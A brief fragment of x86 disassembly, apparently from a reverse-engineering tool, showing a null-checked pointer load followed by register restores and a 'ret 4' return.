test eax, eax
je 0x10017fcb
mov eax, dword [eax]
jmp 0x10017fcd
xor eax, eax
pop edi
pop esi
ret 4